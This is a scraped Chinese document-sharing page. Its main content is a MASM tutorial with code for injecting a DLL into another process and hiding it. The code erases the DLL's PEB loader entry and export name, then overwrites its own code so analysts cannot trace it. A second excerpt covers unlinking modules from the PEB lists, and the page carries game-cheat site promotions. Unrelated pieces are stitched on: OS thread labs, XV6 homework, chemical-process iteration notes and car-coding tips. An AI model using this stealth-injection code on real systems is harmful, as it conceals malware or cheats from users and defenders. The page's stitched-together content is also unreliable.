文档库 最新最全的文档下载
当前位置:文档库 › Dll 模块隐藏技术

Dll 模块隐藏技术

Dll 模块隐藏技术
Dll 模块隐藏技术

Dll模块隐藏技术

学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。

如果你细细读完这篇文章,你会学到一下内容:

1.PEB,TEB,LDR_DATA_TABLE_ENTRY等数据结构

2.自己覆盖掉自己执行过的一段代码

3.调试这个Dll你会发现DLL_PROCESS_ATTACH中的代码在OD首次停下即加载停止时已经执行完了!

多么美妙啊!哈哈,OD不会发现你执行了什么

4.本例最后附件有个ASM的控制台程序,用SDK编写,你可以学到用汇编写一个基本的控制台程序的格式

5.最后那个控制台源码还包含完整的CreateRemoteThread注入进程的写法

本文主要讲的是怎样隐藏一个dll模块,这里说的隐藏是指,dll被加载后怎样使它用一般的工具无法检测出来。为什么要这么做呢?

1.远程线程中的应用

(1)大家都知道,远程线程注入主要有两种一种是直接copy母体中预注入的代码到目标进程地址空间(WriteProcessMemory),

然后启动注入的代码(CreateRemoteThread),这种远程线程一旦成功实现,那么它只出现在目标进程的内存中,

并没有对应的磁盘文件,堪称进程隐藏中的高招,可是缺点就是,你必须要在注入代码中对所有直接寻址的指令进行修正,

这可是个力气活,用汇编写起来很烦。

(2)另一种更为常用的方法是注入一个dll文件到目标进程,这种方法的实现可以是以一个消息Hook为由进行注入,

或者仍然使用CreateRemoteThread,这种方法的优点是Dll文件自带重定位表,也就是说你不必再为修正直接寻址

指令而烦恼了!,dll自己会重定位!~~~嗯,真是不错的方法---可是我们说它不如上面说的方法牛。为什么?

因为它的致命伤就是可以用进程管理工具看见被加载的dll文件名、文件路径。这真是太不爽了,因为只要用户看看模块列表

很容易发现可疑模块!,再依据名字,找到路径,定位文件---dll文件就这样暴露了.这样也就不是很完美的隐藏进程。

[现在不用怕啦~~本文将介绍的方法就是为了上述不足而存在地~~~,让一般的工具看不到已加载的某个dll]

2.自身文件的需要

这个说起来比较简单,比如我的一个程序运行了,我不想让用户知道我的EXE使用了某个

dll,那么同样的也需要这种隐身技术.

3.技术实现

(1).

说完了这么多,该说说,到底应该怎么实现了.

熟悉SEH的肯定对PEB这个结构并不陌生--PEB(Process Environment Block)进程环境信息块,这里储存着进程的重要信息

主要原理就是这个结构,和它的成员相关结构

首先我们回顾一下如何找到这个结构,常见的代码是这个:

mov eax,fs:[30h];就这一句足矣,执行后eax-->PEB(eax指向PEB结构,即eax中是PEB结构在进程空间中的地址)

熟悉TEB和SEH中反调试知识的童鞋一定对上面这个很熟悉了~~不多说了--(不懂得童鞋去学习一下SEH的相关知识你就会认清fs了)

下面看一下PEB结构的定义:

;=================================================================

PEB STRUCT;sizeof=1E8h

InheritedAddressSpace BYTE?;0000h

ReadImageFileExecOptions BYTE?;0001h

BeingDebugged BYTE?;0002h

SpareBool BYTE?;0003h

Mutant PVOID?;0004h

ImageBaseAddress PVOID?;0008h

Ldr PVOID?;000Ch PTR PEB_LDR_DATA

ProcessParameters PVOID?;0010h PTR RTL_USER_PROCESS_PARAMETERS SubSystemData PVOID?;0014h

~~~~~~~~~~~~~~~~~~~~~~~;PEB结构以下部分省略

PEB ENDS

;==================================================================

由于PEB结构太庞大了,因此本文指截取了开头的一部分,因为我们主要使用的是它的Ldr 成员,看见了吗?对!,就是它在结构偏移0Ch处

后面已经指出了Ldr成员是一个指向PEB_LDR_DATA结构的指针,下面我们就得看看这个结构了:

;================================================================== PEB_LDR_DATA STRUCT;sizeof=24h

_Length DWORD?;original name Length

Initialized BYTE?;04h

db3dup(?);padding

SsHandle PVOID?;08h

InLoadOrderModuleList LIST_ENTRY<>;0Ch

InMemoryOrderModuleList LIST_ENTRY<>;14h

InInitializationOrderModuleList LIST_ENTRY<>;1Ch

PEB_LDR_DATA ENDS

;==================================================================

啊哈~~~这里我们看到了想要的东西,Module这个单词被我们发现了,ModuleList就是模块列表嘛~~~

InLoadOrderModuleList就是按照模块加载顺序描述模块信息的,InMemoryOrderModuleList 是按照内存中存储顺序描述,

InInitializationOrderModuleList是按照初始化dll模块的顺序描述的(你可以利用它们之一获得kernel32.dll的基址

这是许多无导入表程序的必做之事)

为了弄清Module信息究竟是怎么储存的,我们又必须知道LIST_ENTRY结构的定义

一个LIST_ENTRY结构描述了一个双链表

;======================================

LIST_ENTRY STRUCT

Flink pLIST_ENTRY

Blink pLIST_ENTRY

LIST_ENTRY ENDS

pLIST_ENTRY typedef PTR LIST_ENTRY;pLIST_ENTRY表示指向LIST_ENTRY结构的指针

;=====================================

50692

根据图片我们可以看出LIST_ENTRY的用法,它嵌入在一个结构类型内,Flink指向下一个这种结构类型内的LIST_ENTRY

这样由表头,就可以找到所有的data struct结构了!

啊哈~~MSDN又说InMemoryOrderModuleList指向一个LDR_DATA_TABLE_ENTRY结构,也就是说,我们的图片的

data struct1,2,3就是指LDR_DATA_TABLE_ENTRY结构,再看看它的定义:(虽然结构有点绕,别晕啊~~快胜利了)

;===========================================================

LDR_DATA_TABLE_ENTRY STRUCT

InLoadOrderLinks LIST_ENTRY;0h

InMemoryOrderLinks;LIST_ENTRY;8h

InInitializationOrderLinks;LIST_ENTRY;10h

DllBase;dword;18h;DllBase模块基址

EntryPoint;dword;1Ch;模块入口点

SizeOfImage;dword;20h;模块的内存映像大小

FullDllName;UNICODE_STRING;24h

BaseDllName;UNICODE_STRING;2Ch

Flags;dword;34h

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~;LDR_DATA_TABLE_ENTRY结构以下部分省略

LDR_DATA_TABLE_ENTRY ENDS

;===========================================================

怎么样?看成员名字就知道~~~~,模块信息就在此处!

可以肯定一个LDR_DATA_TABLE_ENTRY描述一个模块的信息,依靠LIST_ENTRY与下一个或前一个LDR_DATA_TABLE_ENTRY想连.

它的前三个成员都是LIST_ENTRY类型!,再看看上面图片,你应该明白了吧,PEB_LDR_DATA中的三个LIST_ENTRY的后继依次就是这三个

这里我们主要使用InLoadOrderModuleList这个成员来遍历模块,原因是InLoadOrderModuleList对应的嵌入在LDR_DATA_TABLE_ENTRY结构中

的InLoadOrderLinks位于结构首部,用它寻址会方便、清楚一些(当然你用其它两个,InMemoryOrderModuleList和

InInitializationOrderModuleList也可以啊)

看这个汇编代码,我们要定位于首个LDR_DATA_TABLE_ENTRY:

mov eax,fs:[30h];eax-->PEB

mov eax,[eax+0Ch];eax==PEB.Ldr-->PEB_LDR_DATA

mov eax,[eax+0Ch];eax==PEB_LDR_DATA.InLoadOrderModuleList.Flink--> LDR_DATA_TABLE_ENTRY

OK,执行后eax中就是第一个LDR_DATA_TABLE_ENTRY结构的地址啦!!!

3个mov指令,但是用到了好多结构啊~~~

对于我们的遍历方式,第一个LDR_DATA_TABLE_ENTRY描述的应该是dll所属的EXE 的信息,包括入口点,基址,文件名什么的~~~

到这里我们还差一小步那就是UNICODE_STRING结构

;============================================================= UNICODE_STRING STRUCT;sizeof==08h

Length word;0h

MaximumLength word;02h

Buffer dword;04h

UNICODE_STRING STRUCT ENDS

;=============================================================

Length指明由Buffer字段指向的UNICODE串的长度,不包括结尾的0000

比如"C:\A"这个UNICODE串那么Length就是4*2==8

Buffer指向Unicode字串的指针!

太好了终于大功告成,解决复杂的结构了--

现在假设我们要获得某个模块的全路径:

mov eax,fs:[30h];eax-->PEB

mov eax,[eax+0Ch];eax==PEB.Ldr-->PEB_LDR_DATA

mov eax,[eax+0Ch];eax==PEB_LDR_DATA.InLoadOrderModuleList.Flink-->

LDR_DATA_TABLE_ENTRY

mov eax,[eax+24h+4h];eax==LDR_DATA_TABLE_ENTRY.FullDllName.Buffer-->模块路径unicode串

执行过后,eax中存储的就是我们遍历的首个模块的模块全路径字串的地址

也就是模块字串名称的指针.

要访问下一个LDR_DATA_TABLE_ENTRY,在上几句代码的基础上只需这样:

mov eax,[eax];因为eax本身就是指向LIST_ENTRY结构地~~~,这样mov指令使得

;当前LIST_ENTRY的Flink传送到eax,eax自然就指向下一个LDR_DATA_TABLE_ENTRY 结构了~~~

(2).

好了说说我们的dll隐身技术,我们就是要将这里的LDR_DATA_TABLE_ENTRY.FullDllName指向的字符串清除!

因为快照函数或其它的函数,一般都会在底层访问这个结构,在这里查询模块的信息,我们把它给清除了,看它还能查到了吗?

下面我们假设我们已经使用CreateRemoteThread创建一个远程线程,远程线程入口就是LoadLibraryA函数,传入参数就是我们的欲注入

的dll文件名,现在我们看看这个dll文件的核心代码,看它如何清除自己的FullDllName串实现隐藏:

;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DllEntry proc_hInstance,_dwReason,_dwReserved

pushad

mov eax,_dwReason

.if eax==DLL_PROCESS_ATTACH;Dll初始化时执行!

push_hInstance

pop hInstDll;hInstDll保存本dll加载基址

;------------------------------------------

;定位eax指向首个LDR_DATA_TABLE_ENTRY结构

;------------------------------------------

assume fs:nothing

mov eax,fs:[30h];eax-->PEB

mov eax,[eax+0Ch];eax==Ldr-->PEB_LDR_DATA

mov eax,[eax+0Ch];LoadOrderList.Flink-->LDR_DATA_TABLE_ENTRY

;-----------------------------------------------------------

;通过循环遍历LDR_DATA_TABLE_ENTRY结构,比较DllBase与hInstDll

;找到描述本dll模块的LDR_DATA_TABLE_ENTRY结构

;-----------------------------------------------------------

@@:

mov ebx,[eax+18h];[eax+18h]为当前处理的模块的基址

cmp ebx,hInstDll;找到本模块的LDR_DATA_TABLE_ENTRY

jne_No

mov ebx,[eax+24h+4]

movzx ecx,word ptr[eax+24h];Unicode String length获得子串长度

mov edi,ebx;Unicode String Address

cld

rep stosb;用Al的值填充

mov dword ptr[ebx],0;(确保String首4个byte为0)

jmp@F

_No:

mov eax,[eax];链表遍历

jmp@B

@@:

.elseif---------;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

在Dll初始化时,响应DLL_PROCESS_ATTACH,在这其中清除我们的“自己的名字”,来个神不知鬼不觉!,哈哈~~

这同时也说明,初始化时,Windows已经把各结构都填写好了.

做到这里我们已经能实现这样的功能,即一般的进程查看工具看不到我们注入的dll了!因为我们把它要查的信息清除了!

说到这可能有大牛说,我暴力搜索内存,匹配MZ--PE,看你往哪跑?的却我是跑不了~~如果你这样做的话,首先你得知道我注入的是哪个进程,其次,你得有耐心暴力搜索,然后---真的被您搜到了---

此时我的dll的代码便可以被人家随便分析啦~~一看哈哈,原来就是清除了某某结构的内容啊---

哼!我在你的导出表里找到你的dll名字!,然后找到你的磁盘文件,那你就任我鱼肉吧!哈哈哈哈~~~~~

好可怕啊~~~,是啊,用OD看看,然后静态反汇编一下,我们的代码就露馅了--唉--

等等!!

要不然我们来个Self Modify将dll中的这段代码也给它清除掉,对!还有EXPORT的那个dll名,一起除掉,

给它来个毁尸灭迹O(∩_∩)O哈哈~

说干就干,看下面代码: ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DllEntry proc_hInstance,_dwReason,_dwReserved

pushad

mov eax,_dwReason

.if eax==DLL_PROCESS_ATTACH

push_hInstance

pop hInstDll

_BEGIN:

call@F

@@:

pop eax;eax返回@@标号处的线性地址

sub eax,5;执行后eax等于_BEGIN处的线性地址

push eax

mov ebx,offset_END-offset_BEGIN

invoke VirtualProtect,eax,ebx,PAGE_EXECUTE_READWRITE,addr flOldProtect;flOldProtect 万万不可少

;------------------------------------------

;清除PEB结构中,(UNICODE STRING)FullDllName

;------------------------------------------

assume fs:nothing

mov eax,fs:[30h];eax-->PEB

mov eax,[eax+0Ch];eax==Ldr-->PEB_LDR_DATA

mov eax,[eax+0Ch];LoadOrderList.Flink-->LDR_DATA_TABLE_ENTRY

@@:

mov ebx,[eax+18h]

cmp ebx,hInstDll;找到本模块的LDR_DATA_TABLE_ENTRY

jne_No

mov ebx,[eax+24h+4]

movzx ecx,word ptr[eax+24h];Unicode String length

mov edi,ebx;Unicode String Address

cld

rep stosb

mov dword ptr[ebx],0;(确保String首4个byte为0)

jmp@F

_No:

mov eax,[eax]

jmp@B

@@:

;---------------------------------

;清除Dll映像中导出表中的Dll文件名

;---------------------------------

mov esi,hInstDll

add esi,[esi+03Ch]

assume esi:ptr IMAGE_NT_HEADERS

mov edi,[esi].OptionalHeader.DataDirectory[0].VirtualAddress add edi,hInstDll

assume edi:ptr IMAGE_EXPORT_DIRECTORY

mov edi,[edi].nName

add edi,hInstDll;edi-->DllName(Export)

mov[esp-4*4],edi

xor eax,eax

mov ecx,-1

cld

repnz scasb;[edi]!=0-->>continue

sub edi,[esp-4*4];edi==length+1

mov[esp-4*3],edi

mov dword ptr[esp-4*2],PAGE_EXECUTE_READWRITE lea eax,flOldProtect

mov[esp-4*1],eax

sub esp,4*4

call VirtualProtect;调用VirtualProtect更改页属性

xor eax,eax

xchg ecx,edi;edi==length+1

xchg edi,[esp-4*4];[esp-4*4]-->DllName

cld

rep stosb

;-------------------------------------

;将_BEGIN与_END之间内容填充为int3

;-------------------------------------

pop edi

mov eax,0CCh

mov ecx,offset_END-offset_BEGIN

cld

rep stosb

_END:

;--------------------------------------------

;创建自定义线程,you can do anything you want

;--------------------------------------------

invoke CreateThread,0,0,addr_ThreadProc,0,0,0

.elseif eax==DLL_PROCESS_DETACH

NOP

.endif

popad

mov eax,TRUE

ret

DllEntry Endp ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

这最后一部分就是Dll的完全的核心代码啦~~~调用VirtualProtectl两次,第一次用于更改

_BEGIN与_END标号处的属性,以便毁尸灭迹填充int3.第二次用于更改导出表dll文件名的地方

的属性,以便将其清零.

最后程序可以创建个自定义线程,在这个线程里you can do anything you like

;/////////////////////////////////////////////////////////////////////////////////////////////

至此,我们的工程完成啦~~~,即使搜索内存字符串也是搜不到的--因为所有的相关串都被我们毁了

##我测试环境是Win7,ProcessExplorer和360自带的进程管理器都查不出来已加载的Dll模块.##

##冰刃的话说是不支持win7因此未测试,不知结果不敢妄言##

好了说说我们的附件:

你可以看到本文使用的是MASM32的语法

附件中有完整的dll文件的源代码,还有编译好的dll文件。

为了测试程序的方便我还特意用ASM写了个控制台程序,这个控制台程序是个"dll注入器"

采用CreateRemoteThread的方式注入,你可以输入进程名来完成注入,以便测试我们的这个dll

这个控台程序的源码同样在附件中.

注意:注入前dll文件要放在PATH变量指定的目录中,否则LoadLibraryA找不到dll会失败

dll成功注入后首先会弹出个MessageBox,告诉你,它被Loaded了,然后自定义线程

会每隔6秒弹出一个MessgeBox,告诉你It is alive!

注:由于涉及到远程注入,因此部分杀软会报毒的,如果想继续测试,请暂时关闭进程防火墙或其它可能的主动防御

学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。

模块隐藏三种方法

摘要(转自网络): 一、从PEB的Ldr链中消失 引用内容 lkd> dt _PEB 7ffdc000 //当前PEB的地址 nt!_PEB ... +0x00c Ldr : 0x001a1e90 _PEB_LDR_DATA //这里指向Ldr结构 lkd> dt _PEB_LDR_DATA 0x001a1e90 //这个结构里有三个链表的表头 nt!_PEB_LDR_DATA +0x000 Length : 0x28 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x1a1ec0 - 0x1a34f8 ] +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x1a1ec8 - 0x1a3500 ] +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x1a1f28 - 0x1a3508 ] +0x024 EntryInProgress : (null) 这里看到有三个链表,其实三个链表的内容是一样的,但是链表的顺序不一样,分别按加载顺序、内存顺序、初始化顺序排列。 每一个DLL由一个LDR_DATA_TABLE_ENTRY结构描述,但是第一个结构被链入了 三个链表。取一个来看看: 引用内容 lkd> dt _LDR_DATA_TABLE_ENTRY 0x1a34f8 nt!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x1a1e9c - 0x1a3450 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x1a1ea4 - 0x1a3458 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x1a1eac - 0x1a3460 ] +0x018 DllBase : 0x20000000 +0x01c EntryPoint : (null) +0x020 SizeOfImage : 0x549000 +0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\system32\xpsp2res.dll" +0x02c BaseDllName : _UNICODE_STRING "xpsp2res.dll" ......//省略部分内容 随便取一个链表进行遍历,根据DllBase找到自己的DLL之后,从三个链中RemoveEntryList就可以了,这样所有使用PEB->Ldr结构来枚举DLL链表的就 无法找到了。

实验一 进程与线程

实验:进程与线程 一、实验目的 通过函数调用掌握进程之间的通信。 体会线程的存在,了解线程与进程的关系。 二、实验环境 PC+Win7操作系统 三、实验方法和实验步骤 1.准备工作 打开VC++6.0环境。 2.在程序编辑区内输入程序,实现两个数互换。 3. 在VC环境下建立一个控制台应用程序P1。系统启动一个进程(因为支持线程,OS会在进程中主动创建一个主线程)来运行该程序。输出该进程的ID号、以及该进程下面主线程的ID号。多运行几次,观察结果。 四、实验结果

补充:在VC环境下建立一个控制台应用程序P1。系统启动一个进程(因为支持线程,OS会在进程中主动创建一个主线程)来运行该程序。 在进程中,我们自己再创建一个子线程(子线程1),该子线程做的事情很简单,就是让它不停地输出如下信息: 子线程1正在运行第1次,其进程的ID号=~, 子线程1的ID号=~ 子线程1正在运行第2次,其进程的ID号=~, 子线程1的ID号=~ 。。。。。。 。。。。。。 子线程1正在运行第20次,其进程的ID号=~, 子线程1的ID号=~ 只要启动了一个子线程,实际上系统中是主线程和子线程1在并发执行。 主线程的功能是输出这样形式的内容: 主线程正在运行第1次,其进程的ID号=~,主线程的ID号=~ 主线程正在运行第2次,其进程ID号=~, 主线程的ID号=~ 。。。。。。 。。。。。。 主线程正在运行第20次,其进程ID号=~, 主线程的ID号=~ 多运行几次,观察主线程和子线程并发调动的次序。每次调度都一样吗?为什么?进程ID、主线程ID和子线程ID每次都一样吗? 体会操作系统中并发的异步性。 程序代码如下: #include #include DWORD WINAPI Thread1(LPVOID lpparameter){ int i; for(i=1;i<=20;i++){ printf("子线程1在运行中,它正在运行第%d times,所属进程的ID号=%ld, 本线程的ID号=%ld\n",i,GetCurrentProcessId(),GetCurrentThreadId());} return 0;} int main(){ int j; printf("一个进程在运行中\n"); printf("主线程在运行中\n"); HANDLE hThread1=CreateThread(NULL,0,Thread1,NULL,0,NULL); for(j=1;j<=20;j++){ printf("主线程正在运行第%d次;进程的ID号=%ld,线程ID号=%ld\n", j,GetCurrentProcessId(),GetCurrentThreadId()); Sleep(500); } return 0; } 多次运行的结果显示,每次调度是不一样的,因为操作系统中程序并发运行时的异步性原则,进程ID、主线程ID和子线程ID每次也都是不一样的。

序贯模块法

不可再分块迭代的三种收敛方法 段宝颜 摘要:本文主要介绍用经典的序贯模块法来解不可再分块,并设置迭代收敛框根据迭代准则直至收敛,随后又介绍了修正切断迭代变量的三种方法,直接迭代法、加权直接迭代法和严格Wegstein法。 1序贯模块法 经典的序贯模块法的基本思想是环路切断后对切断流股变量进行直接迭代的方法来解不可再分块的。以下图为例来说明序贯模块法的求解过程。 图1四单元单循环系统 该系统本身为一个不可再分块,设不可再分块中各单元的模型方程为 X2=g2(X1,X0) X3=g3(X2) X4=g4(X3) X1=g1(X4) (1)该不可再分块仅由一个环路构成,切断X1,并设置迭代收敛框。设切断流股变量初始才算值为X1 (0),序贯计算的过程可用下式表示: X1 (1) =g1(g4(g3(g2(X1 (0), X0)))) (2)X0为已知的系统输入流股变量,X1 (1)是根据不可再分块内计算次序计算出来的X1的计算值。由于X1 (1)不可能刚好等于假设的流股变量初值X1 (0),故必须设法修正X1 (0),直至收敛。 2 迭代收敛框的作用及准则 2.1迭代收敛框的作用 (1)修正迭代变量 (2)判别是否达到收敛,所谓收敛即当满足一定的收敛准则时模拟问题得到近似解。 2.2收敛准则

收敛准则一:在过程系统稳定模拟计算中,常用的收敛准则可以是相邻两次迭代的迭代变量绝对误差的平方和小于某一预定的误差限ε1,即 Obj=∑(X j(i+1)?X j(i))2<ε1 (3)X j(i+1)为后一次迭代的流股变量向量X1的第j个分量,X j(i):前一次迭代的流股变量向量X1的第j个分量,这种收敛准则常因变量的分量间数量级上的差异而导致收敛上的困难。 收敛准则二:相邻两次的迭代的迭代变量相对误差的平方和小于误差极限ε2 Obj=∑(X j(i+1)?X j(i)∕X j(i))2<ε2(4) 收敛准则三:相邻两次的迭代的迭代变量的加权平方和小于误差限ε3 Obj=∑ωj(X j(i+1)?X j(i))2<ε3(5)ωj:加权因子,可根据具体变量的数值大小及敏感性程度人为地决定其大小。 若在不可再分块中进行多处切断,则收敛准则应将所有迭代变量一起加以考虑,即迭代变量数等于所有切断流股的变量数之和(N st)上式应写作 O bj=∑∑ωjk(X j(i+1)?X j(i))2≤ε4(6)k:不同的切断流股 表1序贯模块法优缺点 3 修正切断迭代变量的三种方法 修正切断迭代变量的常用方法有以下几种:直接迭代法,包括加权的直接迭代法;Wegstein法;Newton法;拟Newton法;综合算法。 3.1 直接迭代法 直接迭代法是以切断流股的初始的猜算值为起点,按类似于X1(1)=g1(g4(g3(g2(X1(0), X0)))) 的迭代格式,格式如下: X(i+1)=F(X j(i)) 构成迭代序列进行迭代运算的。当满足迭代收敛准则式(6)时,得到不可再分块的模拟解。 这种迭代格式实际上是解形如F(X)?X=0的方程组。变量X的维数为切断流股的总变量数N st,显然N st远远小于整个不可再分块的总变量数。对于图1所示的三组分系统,如果用联立方程法求解,至少(仅包括外部变量)需要解30个变量的方程组,若包括单元内部变量的话,联立解的维数还要大大增加。而用序贯模块法则只需切断一股流股(X1),故迭代变量数仅为5。这意味着序贯模块法将待解方程组进行了降阶处理,使求解过程变得更加容易。 直接迭代法并不总是能收敛的,其收敛性与具体描述化工过程系统模型的非线性特征有关,可以出现图2所示的四种情况,其中 a 稳定单调下降收敛 b 振荡衰减收敛

北大操作系统高级课程-陈向群作业-XV6进程线程

阅读代码: 1.基本头文件: types.h param.h memlayout.h defs.h x86.h asm.h mmu.h elf.h 2.进程线程部分: vm.c proc.h proc.c swtch.S kalloc.c 以及相关其他文件代码 强调一下:由于内存管理部分还没有学到,所以请同学们遇到相关的代码和问题时,先将问题记录下来,到学过之后,再结合进程线程管理部分进行深入学习,最后要求对XV6有整体的理解。 请大家围绕如下一些问题阐述原理课的相关内容,以及XV6中是如何实现的。 1.什么是进程,什么是线程?操作系统的资源分配单位和调度单位分别是什么?XV6中的 进程和线程分别是什么,都实现了吗? 答:进程是在多道程序系统出现以后,为了描述系统内部各作业的活动规律而引进的概念。进程有3个基本状态,运行状态、就绪状态和等待状态(或称阻塞状态);进程只能由父进程建立,系统中所有的进程形成一种进程树的层次体系;挂起命令可有进程自己和其他进程发出,但是解除挂起命令只能由其他进程发出。进程是具有独立功能的程序关于某个数据集合上的一次运行活动,是系统进行资源分配和调度的独立单位。 线程可称为轻量级的进程,是操作系统可以运行调度的最小单位。线程是进程内的一个相对独立的可执行的单元。若把进程称为任务的话,那么线程则是应用中的一个子任务的执行。 不论操作系统中是否引入了线程,操作系统中资源分配的基本单位都是进程。如果操作系统没有引入线程那么进程就是调度的基本单位。线程并不独立拥有资源,它仅仅分配了一些运行必备的资源。一个进程中的多个线程共同分享进程中的资源。在引入了线程的操作系统中,线程就变成了调度的基本单位,进程中的部分线程阻塞并不代表该线程被阻塞。 xv6操作系统实现了一个基于进程(没有实现线程)的简单进程管理机制。通过对proc.h 文件的阅读了解到xv6的进程中定义了一个context结构,一个枚举类型proc_state定义了UNUSED, EMBRYO, SLEEPING, RUNNABLE, RUNNING, ZOMBIE 这6种进程的状态,proc结构定义了进程控制块的内容,cpu结构定义了寄存器和栈指针。 2.进程管理的数据结构是什么?在Windows,Linux,XV6中分别叫什么名字?其中包含哪 些内容?操作系统是如何进行管理进程管理数据结构的?它们是如何初始化的? 答:进程管理的数据结构是进程控制块(PCB)。在Linux中进程控制块的结构是由一个叫task_struct的数据结构定义的,ask_struct存在/include/ linux/sched.h中,其中包括管理进程

查看程序的进程和线程实验报告

查看程序的进程和线程实验报告 篇一:程序实验2:11-多线程编程---实验报告 程序实验二:11-多线程编程实验 专业班级实验日期 5.21 姓名学号实验一(p284:11-thread.c) 1、软件功能描述 创建3个线程,让3个线程重用同一个执行函数,每个线程都有5次循环,可以看成5个小任务,每次循环之间会有随即等待时间(1-10s)意义在于模拟每个任务到达的时间是随机的没有任何的特定规律。 2、程序流程设计 3.部分程序代码注释(关键函数或代码) #include #include #include #define T_NUMBER 3 #define P_NUMBER 5 #define TIME 10.0

void *thrd_func(void *arg ) { (本文来自:https://www.wendangku.net/doc/5b17813784.html, 小草范文网:查看程序的进程和线程实验报告) int thrd_num=(int)arg; int delay_time =0; int count =0; printf("Thread %d is staraing\n",thrd_num); for(count=0;count { delay_time =(int)(rand()*TIME/(RAND_MAX))+1; sleep(delay_time); printf("\tTH%d:job%d delay =%d\n",thrd_num,count,delay_time); } printf("%d finished\n",thrd_num); pthread_exit(NULL); } int main()

操作系统--进程和线程实验报告

一.进程的创建 1.编辑源程序。 2. 编辑结果如下。 3.编译和运行程序。 4.运行解释结果 在语句p1=fork()之前,只有一个进程在执行这段代码,但在这条语句之后,就变成两个进程在执行了.这两个进程的几乎完全相同,将要执行的下一条语句都是if(p1==0). 而fork函数有三种返回值。(1)在父进程中,fork返回新创建子进程的进程ID; (2)在子进程中,fork返回0; (3)如果出现错误,fork返回一个负值; 所以,子进程中p1==0,输出I am child。父进程p1>0,输出I am parent。

1.编辑源程序。 2.编辑结果如下。 3.编译和运行程序。 4. 运行解释结果 在语句p1=fork()之前,只有父进程执行,putchar(‘x’)语句将x放入父进程的缓冲区。当成功创建子进程后,子进程复制父进程的缓冲区。接着子进程运行输出xby,父进程输出xay。

1.编辑源程序。 2.编辑结果如下。 3.编译和运行程序。 4. 运行解释结果 在语句p1=fork()之前,只有父进程执行,putchar(‘x’)语句将x放入父进程的缓冲区。当成功创建子进程后,子进程复制父进程的缓冲区。接着子进程输出b后,执行exit(0)系统调用终止执行。父进程输出a 后继续输出y。所以父进程输出xay而子进程输出xb。

1.编辑源程序。 2.编辑结果如下。 3.编译和运行程序。 4. 运行解释结果 语句while(p1=fork()==-1)创建了子进程和父进程。父进程执行到wait()时,等待子进程的终止信号,当子进程执行完exit(0)后,父进程才继续执行。实现了父进程等待子进程。

很全面的5053编码部分说明刷隐藏功能

一、自动大灯 自动大灯开关上的2脚接G519控制器的E14。 二、雨量传感器 雨量传感器1脚是火线接入(电路图上接的是SC13,该保险已经被占用,建议接到SC17上,SC13与SC17为一根控制火线); 雨量传感器2脚为零线接地; 雨量传感器3脚接信号控制线G519上的F3。 五、开启雨天自动关窗的功能 1、打开46模块 2、选择07编码 3、把第10位改成02(原厂是04)从左边开始数,每2个数字为一位。 六、调节自动大灯感应灵敏度与雨刷感应灵敏度 1、打开09模块; 2、选择07编码; 3、在组件下拉框中选择第3项,即RLS(Rain & Light Sensor的缩写)。 4、我的原车编码是208933,转换成16进制得到033025。 八、开单门,即按一下遥控开门,只开启驾驶侧门,按两下,全开启,继续复制别人的方法: 选择中央便利系统→ 匹配-10,在新窗口,频道号处点击“增”至03,值“增”为1,保存即可。 九、门警,意思是驾驶侧门开启式,汽车发出咚咚咚的警音,直到你关上大门,开启本功能,进入汽车关上门也会响几声,复制别人的方法: 17-组合仪表→ 07-重新编码→ 软件编码→ 从原来的0002101改成0002301,就可以开通开门提醒功能了。 十、转向雾灯,就是开启大灯时,如果打转向,同侧的雾灯也会亮 进入09-中央电控系统,看到中央电控系统是3C8-937-049-E, 显示的长编码是: E7840F2700041800070A00000F00000000095D035C000000000000000000 复制上面的编码粘贴到下面的空白处,注意一串中最后一个字母为C,它往后面隔5个0,把第6个0改为C,保存即可。 改为:E7840F2700041800070A00000F00000000095D035C00000C000000000000 十一、激活双后雾灯:选择控制模块-中央电控系统-重新编码-长编码帮助,按TAB键切换到BYTE4,在BIT4前打勾,然后点Transfer,再点确定。 十二. 加装定速巡航:1、将巡航手柄换上;2、用CANBUS进入发动机控制单元01-登陆11-输入11463;3、用CANBUS进入方向盘电器单元16-重新编码07-倒数第二位改成4,第二步是激活功能用的,所以也需要做。在改代码前,还是先看一下原始代码吧,我的方向盘电器单元的编码是10012,倒数第二位是巡航功能编码,含义如下: 0xxxx?x: Board Computer / Cruise Control System (CCS) 板载电脑/巡航控制, 0 = w/o Board Computer and w/o Cruise Control System (CCS) 无板载电脑无巡航控制,

操作系统第二章进程和线程复习题

第二章练习题 一、单项选择题 1.某进程在运行过程中需要等待从磁盘上读入数据,此时该进程的状态将( C )。 A. 从就绪变为运行; B.从运行变为就绪; C.从运行变为阻塞; D.从阻塞变为就绪2.进程控制块是描述进程状态和特性的数据结构,一个进程( D )。 A.可以有多个进程控制块; B.可以和其他进程共用一个进程控制块; C.可以没有进程控制块; D.只能有惟一的进程控制块。 3.临界区是指并发进程中访问共享变量的(D)段。 A、管理信息 B、信息存储 C、数据 D、 程序 4. 当__ B__时,进程从执行状态转变为就绪状态。 A. 进程被调度程序选中 B. 时间片到 C. 等待某一事件 D. 等待的事件发生 5. 信箱通信是一种( B )通信方式。 A. 直接通信 B. 高级通信

